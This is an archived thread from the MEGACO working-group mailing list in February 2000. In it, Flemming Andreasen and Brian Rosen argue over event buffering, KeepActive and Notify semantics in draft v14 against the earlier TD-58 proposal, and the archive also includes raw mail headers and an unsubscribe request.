> > > > seizure, and subsequently detect a wink or unseizure. Unless
> > > > all events are
> > > > requested at the same time (which would effectively prevent
> > > > glare detection)
> > > > detection of all these events could not be guaranteed.
> > > This is incorrect, there are two masks -- Events Descriptor and
> > > BufferedEvents Descriptor.  The former determines what is notified,
> > > the latter determines what is buffered.
> >
> > You're right. I believe it would be preferable to determine
> > events to be
> > detected based on the union of Events Descriptor and
> > BufferedEvents Descriptor
> > though.
> >
> > >
> > >
> > > Seizure would be Events Descriptor, Unseizure and wink would be
> > > in BufferedEvents Descriptor.  Alternatively, you could use an
> > > embedded Events Descriptor.
> >
> > For this specific case - maybe. It is not a general solution
> > to the problem
> > though (BufferedEvents Descriptor on the other hand is).
> >
> > >
> > >
> > > > What is needed, is an extra parameter to specify what events
> > > > to detect (as
> > > > opposed to process) during event buffering. Preferably, this
> > > > set of events
> > > > would be determined based on the union of this parameter and
> > > > the current
> > > > Events Descriptor.
> > > As specified, we "detect" (I would say buffer) events in
> > > BufferedEvents, and we "process" (I would say Notify) events in
> > > Events Descriptor.  We could specify that detect is based on the
> > > union of BufferedEvents and Events, but it's a little late for
> > > optimizations (if it really is what we want, I would think not).
> > >
> > > >
> > > > 2. Hardcoding Notify in process 2 limits throughput, as there
> > > > shall normally
> > > > only be one outstanding Notify per termination. A queue of
> > > > Notify to be sent
> > > > may consequently build up at the sender side thereby
> > > > - Incurring event delivery delay when the event arrival rate
> > > > exceeds the
> > > > MG-MGC roundtrip time.
> > > > - Limiting the average event arrival rate to the MG-MGC
> > > > roundtrip time (best
> > > > case).
> > > This may be true if EventBuffering is On, but is not true if
> > > EventBuffering is off.  In the latter case, events are Notified as
> > > they are detected, and no response from the MGC is required.
> >
> > That is completely inconsistent with the current text.
> > Section 9.1 specifies
> > that:
> >
> >     "On a given Termination, there should normally be at most
> > one outstanding
> > Notify command at any time.  The RequestId parameter should
> > be used to correlate
> > Notify commands with the triggering notification request."
> >
> > What you are suggesting is that we just send the Notify's as
> > fast as we can. The
> > problem with this is that you cannot guarantee in-order
> > (delivery of these
> > messages) which means we no longer have event ordering in the system.
> >
> > >
> > > In the former case, this is precisely what is required.
> > The point of
> > > buffering events is that once an event is detected, the MG doesn't
> > > know what the MGC wants next; it has to wait to be told.  Meanwhile,
> > > it buffers events the MGC told it it MIGHT want to see.
> > When it gets
> > > a new event descriptor, it can send ONE event, but then it
> > is back in
> > > the same state - what does the MGC want to do next?
> >
> > We are in absolute agreement here. One underlying "problem"
> > however is that the
> > MGC will only be able to request a single event. With the
> > TD-58 solution you
> > could have requested a whole sequence of events potentially.
> >
> > >
> > >
> > > Note that this condition should be very rare - events
> > happen at human
> > > speed in most cases, and computers are fast.  Even in large trunk
> > > gateways, the MGC better be able to keep up with the event stream by
> > > a whole lot more than a round trip time!
> >
> > That is a very dangerous assumption which even now doesn't
> > hold. Think about
> > auto-dialers, MF trunking, etc. Events happen a lot faster
> > than human speed
> > (which is why you added digit maps). Do you feel confident in
> > assuming that this
> > is the only case where this is needed ?
> >
> > As for your second point about MGC being able to keep up with
> > event arrival
> > rates significantly below network round trip time we are in
> > complete agreement,
> > and that is precisely my point. Your mechanism has an
> > inherent rate limitation
> > built into it, and that rate limiation is based on the
> > network round-trip time
> > for every thing where you don't apply some special mechanism
> > (like digit maps).
> > This mechanism is basic and belongs in the base protocol!
> >
> >
> > >
> > >
> > > > TD-58 from Red Bank did not have this limitation. First of
> > > > all, the MGC had
> > > > the various "accumulate" actions that were designed to
> > > > prevent this problem
> > > > and limit bandwidth and CPU overhead.
> > > It had a per event decision of Notify, Accumulate or process by
> > > digitmap.  We have all of those.
> >
> > Then I've misunderstood something. Where do you have accumulate now ?
> >
> > >
> > >
> > > >Secondly, (assuming
> > > > MGCP semantics) it
> > > > would be possible for the MG to try and empty the EventBuffer
> > > > in a single
> > > > message based on the current Events Descriptor (arguably, a
> > > > parameter to
> > > > explicitly allow/disallow this behavior would be beneficial).
> > > No one has ever described a scenario where it was once
> > unacceptable to send
> > > all events, but something occurs which makes it possible to
> > send all events
> > > in the buffer.  This seems unlikely
> > >         Either the MGC is able to run it's own state machine and
> > >                 it can handle events whenever they are detected
> > >         OR
> > >         The MGC has a simplistic view, and can only deal with the MG
> > >                 and itself being in lockstep
> > >
> >
> > You are making dangerous assumptions again. Experience has
> > taught me that proper
> > design rather than current perception and imagination is by
> > far the better
> > approach.
> >
> >
> > >
> > > >
> > > > 3. There is a dual use of the Eventbuffer parameter which is
> > > > unfortunate.
> > > > Following a Notify where the Eventbuffer was "on", there is
> > > > no way for the
> > > > MGC to subsequently request that
> > > > a) All the currently buffered events should be processed
> > > > b) Future events should not be buffered events but simply
> > > > sent immediately
> > > This is the same as above.  Somehow, the MGC couldn't handle all
> > > events, and now it can.  How can this be?
> > > I would be willing, I suppose, to allow this (that is, have some way
> > > to empty the Event Buffer by Notify rather than just clearing it),
> > > but no one has been able to come up with a really interesting
> > > case where the MG flips EventBuffering on and off.  I expect it will
> > > set it one way and leave it.
> >
> > Same comment as above. I would much prefer proper design
> > instead assumptions
> > which may or may not hold down the road.
> >
> > >
> > >
> > > Please cite an interesting case where some events should be
> > buffered,
> > > but there comes an event where the buffer should be sent all at
> > > once (and where it is unacceptable to send the events as they
> > > are detected).
> >
> > Same comment as above.
> >
> >
> > >
> > >
> > > > A simple solution to this problem would be to separate the
> > > > parameter into
> > > > two, which is precisely what the BufferedEventProcessingMode
> > > > in TD-58 did.
> > > Covered above, although no one could ever precisely explain
> > to those of us
> > > who sat through countless hours of discussion and email
> > what the 4 states of
> > > two variables were used for.
> > >
> >
> > I disagree. Experience will tell us who is right. With my
> > approch we can't
> > loose, with yours we certainly can.
> >
> > >
> > > >
> > > >
> > > > Finally, from a design perspective, the above solution
> > contains some
> > > > fundamentally undesirable properties. Most problematic is the
> > > > hard-coded
> > > > Notify of events which effectively provides a stimulus based
> > > > approach to
> > > > event handling with none or little future support for
> > scripting. It
> > > > effectively prevents us from taking advantage of more powerful and
> > > > sophisticated MGs that are able to do some amount of
> > local processing
> > > > thereby
> > > > - reducing bandwidth requirements
> > > > - reducing MGC processing requirements (and complexity)
> > > > - improves responsiveness as the network round-trip does
> > not become a
> > > > bottleneck
> > > > Opponents to this point of view may claim, that packages with
> > > > new events,
> > > > signals, and properties can be defined that effectively
> > > > achieve the above,
> > > > as e.g. was done for digitmaps/DTMF detection. While that is
> > > > indeed the case
> > > > (and there are valid use cases for such), the point that
> > > > needs to be made,
> > > > is that the mechanisms are basic and of such high value that
> > > > they should be
> > > > supported natively rather than only by higher level
> > > > mechanisms which may or
> > > > may not be able to interact with each other. Consider for
> > example the
> > > > current DTMF detection scheme. As a consequence of the higher
> > > > layer approach
> > > > taken, it is not able to report incoming DTMF digits and
> > > > other inter-twined
> > > > events in the correct order, since the DTMF detection
> > > > mechanism must itself
> > > > be exactly one event (digit map completion). Another
> > example is the
> > > > interaction with signal interruption, e.g. dial-tone.
> > Again, special
> > > > consideration (define it to take place on the first digit) is
> > > > needed to
> > > > achieve the desired behavior although the event really has
> > > > not occurred yet.
> > > Scripting is, as you know, a version 2 problem.
> > Presumably, scripting need
> > > not limit itself to the same view of events, or more
> > precisely, it would
> > > probably handle event detection as they occurred, and
> > generate Notifies (if
> > > appropriate), whenever the script decided to.  I would
> > allow scripts to run
> > > on detection, allow them to put events in the buffer, and
> > allow them to run
> > > on Notify (which would include allowing the Notify script
> > to paw through the
> > > buffer).
> >
> > Yes I know. What you are telling me know, is that yes, the
> > current event
> > handling mechanism is probably not adequate for scripting and
> > you would do
> > something special, e.g. not perform the hard-coded Notify we
> > saw above. What
> > about interaction between different schemes, consistency,
> > ease of understanding,
> > etc. This looks very flaky to me and that is precisely my point.
> >
> >
> > >
> > > > Such requirements for special treatment and consideration
> > are simply
> > > > evidence of lack of generality that should not show up at
> > > > this stage. The
> > > > solution specified in TD-58 from Red Bank did not suffer
> > from these
> > > > drawbacks.
> > > Disagree as per above
> >
> > You are going to have to explain the drawbacks of TD-58 to
> > me. I have now
> > offered you drawbacks with the v14 scheme. Considering that I
> > have not seen you
> > (or anyone else for that matter) explain any kind of
> > drawbacks with the TD-58
> > scheme and that I have shown several drawbacks with the v14
> > scheme, I think it
> > is your turn to explain the problems with TD-58 now. You have
> > been very adament
> > about not making changes without any good reason, so I would
> > like to see that
> > same rule applied to TD-58.
> >
> >
> >
> > >
> > > >
> > > > Some additional comments below
> > > >
> > > >
> > > > "Rosen, Brian" wrote:
> > > >
> > > > > Coming out of Red Bank there was NO consensus on Events,
> > > > > there was in fact wide disagreement on events.  Coming out of
> > > > > Washington, there was NO consensus on events, there was in fact
> > > > > wide disagreement on events.  The proposal we have in V13 was
> > > > > an attempt to fix what people saw as problems in the event
> > > > > mechanism.
> > > > >
> > > > > In Red Bank, no one could explain how the MGCP mechanism works.
> > > > > In Washington, several people attempted to explain how it works
> > > > > (Christian Huitema was not there for that session).  Today in
> > > > > fact, I'll bet you if you ask 10 people who claim they
> > understand
> > > > > how the MGCP mechanism works, you would get several answers,
> > > > > although I would grant you that there is not a lot of variation
> > > > > in the implementations.  The V13 mechanism was not
> > comprehensible
> > > > > to anyone in the design meetings in Washington or Red Bank.
> > > >
> > > > If understanding the MGCP mechanism is the real problem, then
> > > > I'm sure we
> > > > can get the right people to clarify. Having spent a lot of
> > > > time on this
> > > > (admittedly confusing) aspect myself, I can certainly
> > offer my help if
> > > > needed. As for a general lack of understanding of the
> > > > mechanism I think you
> > > > are exagerating. There may be small details here and
> > there that people
> > > > interpret differently, but I bet you any mechanism you
> > > > specify will suffer
> > > > from this, including yours.
> > >
> > > Flemming, there are a core of about 5 people who sat and argued and
> > > questioned and puzzled about the MGCP mechanism over two
> > IETF meetings, the
> > > Red Bank meeting and the email list.  Check the archives -
> > there are lots of
> > > messages that attempt to explain how the MGCP mechanism
> > works.  No two
> > > people agreed.  I asked 4 people who said they were part of
> > implementation
> > > teams.  They all explained it differently, although it
> > seems that they
> > > implemented it close to the same thing.  I believe the MGCP
> > text is poorly
> > > written, poorly understood.  AND, even when people more or
> > less explained
> > > how it worked, they were totally unable to explain how you
> > would use it.
> >
> > I'm not talking about MGCP, I'm talking about TD-58. You are
> > the editor and have
> > done an outstanding job under some very different
> > circumstances. If there is
> > text that needs clarification, well then clarify it, don't
> > scratch the mechanism
> > and rewrite it from scratch.
> >
> > What if I ask you to explain how multimedia and streams work
> > and whether they
> > are indeed adequate for what we want to do. I bet you will
> > have a very tough
> > time (I know since you've stated your concerns on this issue
> > several times)
> > doing that, but that doesn't meen you just rewrite it, right ?
> >
> > In any case, we are drifting away from the technical points,
> > which is what I
> > want to focus on. Bottom line is, that I strongly believe the
> > TD-58 scheme was
> > better than what we now have in v14. Based on all of the
> > above and in the
> > absence of you explaining any problems with the TD-58 mechanism and
> > demonstrating advantages with the v14 mechanism, I must again
> > ask for the text
> > to be brough back in accordance with the outcome of the Red
> > Bank meeting. If
> > not, we have a significant change, and no consensus....
> >
> >
> > >
> > >
> > > >
> > > >
> > > > >
> > > > >
> > > > > I still have never been given any semblance of a reason why
> > > > > the variables in the MGCP exist, and what you do with them.
> > > > > I can, and have, provided same for the current
> > mechanism.  So far
> > > > > we have not, save the confusion over the digitmap/keep active
> > > > > confusion, found a problem.
> > > >
> > > > If you can be more specific I will do my best to try and explain.
> > > >
> > > > >
> > > > >
> > > > > So far, I have found people who want the MGC to sort out events,
> > > > > and they want them as fast as the MG finds them.  I also found
> > > > > people who want a simple state machine, with the MG and MGC in
> > > > > lock step over what should happen.  We cater to both of those.
> > > > > You seem to want something in between, something where the MG
> > > > > has more knowledge about what the MGC wants, and when
> > it wants it
> > > > > than I can figure out.  I can't understand how anything
> > in between
> > > > > gimme all of them, and gimme the next one can work; please
> > > > > enlighten me.
> > > >
> > > > Scripting! It comes in many shapes and forms (although not as
> > > > many and not
> > > > as powerful as you might want right now). You have
> > already defined one
> > > > yourself; digit maps. What accumulate, etc. gives you is
> > essential the
> > > > foundation to build on here. It can even be used natively in
> > > > some cases,
> > > > e.g. for MF trunking if you so desire.
> > > >
> > > > >
> > > > >
> > > > > Brian
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
> > > > > > Sent: Friday, February 04, 2000 2:11 PM
> > > > > > To: Rosen, Brian
> > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > Subject: Re: Cisco SG16: Keep Active
> > > > > >
> > > > > >
> > > > > > Hi Brian
> > > > > >
> > > > > > Some comments below
> > > > > >
> > > > > > Regards
> > > > > >
> > > > > >             Flemming
> > > > > >
> > > > > > "Rosen, Brian" wrote:
> > > > > >
> > > > > > > We have just had a discussion on this issue, and I
> > believe it
> > > > > > > addresses it: digitmaps on dtmf optimizes reporting
> > > > > > > of dtmf detection, but is otherwise the same as
> > individual dtmf
> > > > > > > events being enabled.  By that definition,
> > KeepActive works the
> > > > > > > way you wanted it; without it, signals stop with
> > first detected
> > > > > > > digit.  With it, signals continue while digits are detected.
> > > > > > > So your IVR app would specify KeepActive on the
> > > > digitmap completion
> > > > > > > event, and use an embedded signal to turn it off if you
> > > > wanted to.
> > > > > > > The old mechanism doesn't work any differently; if you
> > > > had specified
> > > > > > > keepactive on the digits, whether or not they were
> > accumulate by
> > > > > > > digitmap actions, you still would not be able to treat
> > > > the initial
> > > > > > > digit differently from the terminating digit.  The
> > only way you
> > > > > > > could make this better would be to have the
> > digitmap completion
> > > > > > > event entirely separate from the dtmf detection
> > events, so you
> > > > > > > could have KeepActive separately on the digits from the
> > > > completion.
> > > > > > > I think embedded signals is a better answer, but I'm on
> > > > record as
> > > > > > > thinking that digitmaps should be a package and not a basic
> > > > > > > protocol.
> > > > > > >
> > > > > > > I'll deal with any problems we still have with the
> > current text,
> > > > > > > but a "everything changed" complaint without a problem
> > > > is a no-op.
> > > > > >
> > > > > > I beg to differ. A change without a problem is
> > > > > > counterproductive and what
> > > > > > gets into these situations. We had something perfectly fine
> > > > > > after the Red
> > > > > > Bank meeting which for some reason was changed. Exactly
> > > > *what* was the
> > > > > > problem that prompted this massive change (I'll spare you
> > > > the ITU-T
> > > > > > procedural arguments here). If there were no compelling
> > > > > > reasons, then I
> > > > > > suggest that the text is simply brought back in line with the
> > > > > > agreement from
> > > > > > Red Bank, and then we can close this (big) one and move along.
> > > > > >
> > > > > > If you really want to, we can start a debate about the
> > > > > > relative merits,
> > > > > > trade-offs, and shortcomings of one scheme versus the other.
> > > > > > A couple of
> > > > > > topics off the top of my head
> > > > > > - Reduced number of messages and resultant reduced load
> > > > on network and
> > > > > > entities
> > > > > > - Effective event arrival rate not limited by MGC-MG
> > > > round-trip time
> > > > > > - Support for scripting
> > > > > >
> > > > > >
> > > > > >
> > > > > > >
> > > > > > >
> > > > > > > brian
> > > > > > >
> > > > > > > > -----Original Message-----
> > > > > > > > From: Chip Sharp [mailto:chsharp@cisco.com]
> > > > > > > > Sent: Friday, February 04, 2000 12:12 AM
> > > > > > > > To: MEGACO@standards.nortelnetworks.com
> > > > > > > > Subject: Re: Cisco SG16: Keep Active
> > > > > > > >
> > > > > > > >
> > > > > > > > At 03:22 PM 2/3/00 -0500, Tom-PT Taylor wrote:
> > > > > > > > >
> > > > > > > > >
> > > > > > > > >I think the primary need here is for clarifying text in
> > > > > > > > section 7.1.14
> > > > > > > > >indicating that events mapped into a digit map do
> > > > not generate
> > > > > > > > >notifications, but do terminate ongoing signals
> > unless the
> > > > > > > > KeepActive flag
> > > > > > > > >is set.
> > > > > > > > Not really. The fundamental problem is the
> > complete rework of
> > > > > > > > the agreed
> > > > > > > > upon event handling mechanism that for some
> > reason was done
> > > > > > > > after the Red
> > > > > > > > Bank meeting.
> > > > > > > >
> > > > > > > > >
> > > > > > > > >-----Original Message-----  From:  Chip Sharp
> > > > > > > > >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January
> > > > 25, 2000 7:43
> > > > > > > > >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
> > > > > > > >   Cisco SG16:
> > > > > > > > >Keep Active
> > > > > > > > >
> > > > > > > > >Section:        7.1.9, "Event Actions"
> > > > > > > > >table  Category:       Technical  Issue:
> >  The draft
> > > > > > > > text specifies
> > > > > > > > >that "KeepActive:      As Notify, but
> > production of signals
> > > > > > > > continues (if
> > > > > > > > >any signals were active)".The above  definition is overly
> > > > > > > > restrictive in
> > > > > > > > >that it prevents events from being  accumulated
> > (either with
> > > > > > > > or without
> > > > > > > > >digit map) and at the same time keeping  a signal active.
> > > > > > > > For example an
> > > > > > > > >IVR application accumulating a string of  user input and
> > > > > > playing an
> > > > > > > > >announcement until the entire string is
> > accumulated cannot
> > > > > > > > be supported
> > > > > > > > >with the above behaviour.  Proposal:       It is
> > > > > > recommended, that
> > > > > > > > >"KeepActive" does not generate a "Notify"  and that it
> > > > > > > > becomes possible to
> > > > > > > > >specify multiple actions such that  "KeepActive" can be
> > > > > > > > combined with,
> > > > > > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> > > > > > the particular
> > > > > > > > >application.
> > > > > > > > >
> > > > > > > > >v13 Status:     OPEN. Event actions table has been
> > > > removed and
> > > > > > > > >extensive  modification of entire event processing
> > > > taken place.
> > > > > > > > >
> > > > > > > > >Section:        7.1.9  Category:       Technical  Issue:
> > > > > >          The
> > > > > > > > >draft text specifies that "When KeepActive is specified
> > > > > > as the  event
> > > > > > > > >action, the media gateway shall send a Notify
> > message to the
> > > > > > > >  controller
> > > > > > > > >upon detection of the event. Furthermore, the controller
> > > > > > shall  not
> > > > > > > > >interrupt any signals active on the Termination on which
> > > > > > the event
> > > > > > > > >is  detected" The above definition is overly restrictive
> > > > > > in that it
> > > > > > > > >prevents  events from being accumulated (either with or
> > > > > > > > without digit map)
> > > > > > > > >and at the  same time keeping a signal active. For
> > > > example an IVR
> > > > > > > > >application  accumulating a string of user input and
> > > > playing an
> > > > > > > > >announcement until the  entire string is
> > accumulated cannot
> > > > > > > > be supported
> > > > > > > > >with the above behaviour.  Proposal:       It is
> > > > > > recommended, that
> > > > > > > > >"KeepActive" does not generate a "Notify"  and that it
> > > > > > > > becomes possible to
> > > > > > > > >specify multiple actions such that  "KeepActive" can be
> > > > > > > > combined with,
> > > > > > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> > > > > > the particular
> > > > > > > > >application.
> > > > > > > > >
> > > > > > > > >v13 Status:     OPEN. Extensive modifications of event
> > > > > > handling has
> > > > > > > > >taken  place. Events now always reported immediately on
> > > > > > detection.
> > > > > > > >
> > > > > > > > Support NetAid!  http://www.netaid.org
> > > > > > > > --------------------------------------------------
> > > > > > > > Chip Sharp                 Consulting Engineering
> > > > > > > > Cisco Systems              Telco Bio-region
> > > > > > > > Reality - Love it or Leave it.
> > > > > > > > --------------------------------------------------
> > > > > > > >
> > > > > >
> > > > > > --
> > > > > > ---------------------------------------
> > > > > > Flemming Andreasen
> > > > > > Cisco Systems
> > > > > > ---------------------------------------
> > > > > >
> > > > > >
> > > >
> > > > Regards
> > > >
> > > >         Flemming
> > > >
> > > > --
> > > > ---------------------------------------
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > > ---------------------------------------
> > > >
> > > >
> >
> > Regards
> >
> >         Flemming
> > -
> > ---------------------------------------
> > Flemming Andreasen
> > Cisco Systems
> > ---------------------------------------
> >
> >

--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 12:30:23 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA03439
	for ; Tue, 8 Feb 2000 12:30:23 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.D8DA2E70@standards.nortelnetworks.com>; Tue, 8 Feb 2000 12:27:21 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 32341 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 12:27:13 -0500
Received: from plmler4.mail.eds.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.6E321020@standards.nortelnetworks.com>; Tue, 8 Feb 2000 12:17:13
          -0500
Received: from plmlir2.mail.eds.com (plmlir2-2.mail.eds.com [199.228.143.131])
          by plmler4.mail.eds.com (8.9.3/8.9.3) with ESMTP id MAA25876 for
          ; Tue, 8 Feb 2000 12:19:36 -0500
          (EST)
Received: from plmlir2.mail.eds.com (localhost [127.0.0.1]) by
          plmlir2.mail.eds.com (8.9.3/8.9.3) with ESMTP id MAA13810 for
          ; Tue, 8 Feb 2000 12:19:30 -0500
          (EST)
Received: from usplm001.examhub.exch.eds.com ([198.132.135.6]) by
          plmlir2.mail.eds.com (8.9.3/8.9.3) with ESMTP id MAA13806 for
          ; Tue, 8 Feb 2000 12:19:30 -0500
          (EST)
Received: by USPLM001 with Internet Mail Service (5.5.2651.32) id <1PKFP0WN>;
          Tue, 8 Feb 2000 11:19:25 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2651.32)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <6BBAFBA0548ED311BBE500508B6FA53A027C8461@CAOTM201>
Date:         Tue, 8 Feb 2000 11:19:26 -0600
Reply-To: "Elayoubi, Issam (UUNET)" 
Sender: "Media Gateway Control (megaco)"
              
From: "Elayoubi, Issam (UUNET)" 
Subject:      Unsubscribe
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

G'day all,

Need to unsubscribe. Moderator's feedback greatly appreciated.

Cheers.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 13:23:58 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA06074
	for ; Tue, 8 Feb 2000 13:23:55 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.45BA7AC0@standards.nortelnetworks.com>; Tue, 8 Feb 2000 13:20:30 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 32463 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 13:18:39 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.9D367C10@standards.nortelnetworks.com>; Tue, 8 Feb 2000 13:08:38
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id NAA22699; Tue, 8 Feb
          2000 13:11:00 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id NAA22684; Tue, 8 Feb
          2000 13:11:02 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCT4Q5C>; Tue, 8 Feb 2000 13:07:41 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF2088DB@whq-msgusr-02.fore.com>
Date:         Tue, 8 Feb 2000 13:11:00 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Keep Active
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I'm going to have to take a break on this thread to get out the V15
I-D.  I can get back to it when I finish.  In the mean time,
it would be helpful to hear more voices.

Brian

> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
> Sent: Tuesday, February 08, 2000 12:06 PM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Cisco SG16: Keep Active
>
>
>
>
> "Rosen, Brian" wrote:
>
> > Flemming
> >
> > Rather than go through this, it seems we are in an impasse.
> >
> > I believe that the two modes provided give you all the tools
> > required to either have events sent to the MGC as fast as they
> > occur, but with little filtering, or, to have the MGC and the MG
> > be in lock-step on processing events.  If there are some wording
> > problems that make you think this is not so, we will have to change
> > them, as that is the intent.
>
> I think we are in agreement on this particular requirement
> part, however I
> believe there are details to be worked out as explained in my
> previous e-mail.
> My caveat here is the "lock-step on processing events", where
> I want a mechanism
> that allows you more flexibility in this processing than what
> you have specified
> in v14. TD-58 satisfies those requirements.
>
> >
> >
> > It would seem that there is only one fundamental difference in the
> > two mechanisms: you seem to want a way to have some events
> get buffered, and
> > then have something occur which causes the buffer
> > to be sent.  I think there is no such requirement.  Let me rephrase
> > that a little: the benefit of creating in-between mechanisms
> > is outweighed by the complexity of the mechanism required, and the
> > lack of agreement on what additional complexity is warranted.
>
> Precisely what complexity are we talking about here ? Despite
> the "no-op" change
> rule, I have played along and taken your v14 proposal and
> explained the problems
> I see with it. I think it's your turn to come forward with
> specific problems in
> the TD-58 scheme now.
>
>
>
> > I think you would agree that the "send events as you find them"
> > always works, it's just that the MGC may have to throw away some
> > events it may have been able to avoid seeing, which raises the
> > complexity of the MGC code required.  The issue is, how do you
> > find a middle ground that is truly useful?  I don't see it,
> > no one has supplied any justification for it.
>
> I believe TD-58 provides that middle ground. As for the
> usefulness I can only
> point to MGCP experience which truly is the only experience
> we have in this
> area. The experience we have there, is that the mechanism is
> sufficient. To give
> you some justification, I can (again) point you to, say MF
> trunking where I know
> of one example that took advantage of the combination of
> "Accumulate" and
> "Notify" action. There has also been some preliminary work
> done on scripting,
> and having a hard-coded Notify in the event handling would
> have been disastrous.
>
> >
> >
> > I have asked for an example of a system which needed some
> events buffered,
> > but others notified immediately, along with the buffer.
> > What you have provided in response is a "good design principals"
> > argument.  Simplicity is a good design principal.
>
> You are mixing two separate issues (or leaving out the main point).
>
> The first (and most important) issue is that I have a
> fundamental desire to
> provide a mechanism that allows the MG to some local processing. Can I
> demonstrate an absolutely need for this ? Of course not, it's
> an optimization,
> just like digit maps, pending responses, etc. are an
> optimization. Now I happen
> to believe (and have argued why several times now) that enabling local
> processing in the MG is very important, and the protocol
> absolutely must be
> designed with this in mind. Its good to simplify, but not to
> oversimplify.
>
> The second issue is whether a given MGC-MG relationship can
> ever have a need to
> sometimes Notify all events at once, and sometimes notify
> them in lock-step.
> This is where I apply the good design principle. Again, you
> are asking for a
> *necessity* example, well that's going to be hard for the
> same reasons as above.
> I see this property as enabling simplified MGC's and allowing for some
> flexibility in when you want to enable local MG processing
> and when you will
> not.
>
> The fundamental problem I am having with this discussion, is
> that you cannot (or
> at least have not) explained a single problem with the TD-58
> mechanism, but
> regardless you come up with a new mechanism. Whatever
> limitation I desribe with
> this new mechanism is simply addressed as something you can't
> imagine being
> useful (at least not necessary). Now, Brian you know I have a
> lot of respect for
> you, but having the protocol limited by your imagination when
> seemingly good
> alternatives exist in TD-58 is (with all due respect) simply
> not the way to do
> it. I ask you one more time to explain to me exactly what the
> problem with TD-58
> (details or requirements ) is ?
>
>
> >
> >
> > The rest is details; we can handle that if there is consensus
> > on the requirements.
>
> I'm not sure there is, but it's probably a good idea to have
> two separate
> threads on this one. Maybe we should start with the Megaco
> requirements, e.g.
> Section 5.4:
>
> "The Protocol must:
> ...
> c.   Allow reporting of detected events on the MG to the MGC.
> The proto-
>      col should provide the means to minimize the messaging
> required to
>      report commonly-occurring event sequences.
>
> d.   Allow the MGC to specify other actions (besides
> reporting) that the
>      MG should take upon detection of specified events."
>
>
> I don't really see v14 event handling satisfying these,
> however TD-58 certainly
> does.
>
>
> -- Flemming
>
>
> >
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
> > > Sent: Tuesday, February 08, 2000 10:27 AM
> > > To: Rosen, Brian
> > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Cisco SG16: Keep Active
> > >
> > >
> > > Brian
> > >
> > > Thanks for your detailed response - a detailed answer follows
> > > below. To
> > > summarize for those that do not feel like going through all
> > > the details here:
> > > 1. I still see significant drawbacks with the v14 scheme
> > > 2. I do not see those drawbacks with the TD-58 scheme
> > > 3. I have seen no advantages being offered with the v14
> > > scheme compared to the
> > > TD-58 scheme
> > >
> > > and consequently I must ask for the TD-58 scheme to be reinstated.
> > >
> > >
> > >
> > > "Rosen, Brian" wrote:
> > >
> > > > Thank you for taking the time to go through your issues.
> > > > I only wish you had done so two months ago!  Before dealing with
> > > > specifics, there is one aspect of the current mechanism you seem
> > > > to have misinterpreted.  When EventBuffering is ON,
> events detected
> > > > are compared against the EventBuffer Descriptor, not the
> > > Events Descriptor.
> > >
> > > You are right. While that addresses one specific comment
> > > below, it does not
> > > solve the fundamental problems though.
> > >
> > > >
> > > >
> > > > ...snip...
> > > > > The current event handling mechanism in Megaco/H248 v14 can
> > > > > be viewed as
> > > > > three processes that all interact. Events can be viewed as
> > > > > always being
> > > > > added to an event buffer (a FIFO queue) by an Event
> > > Detection process.
> > > >
> > > > > Another Event Processing process then removes these events
> > > > > from the FIFO
> > > > > queue. When a notification is sent, this process may block,
> > > > > waiting for a
> > > > > new Events Descriptor to be received. Events detected
> > > > > meanwhile will simply
> > > > > be added to the FIFO queue. Finally, whenever a new
> > > > > Events Descriptor is
> > > > > received the third process runs. This process determines the
> > > > > fate of events
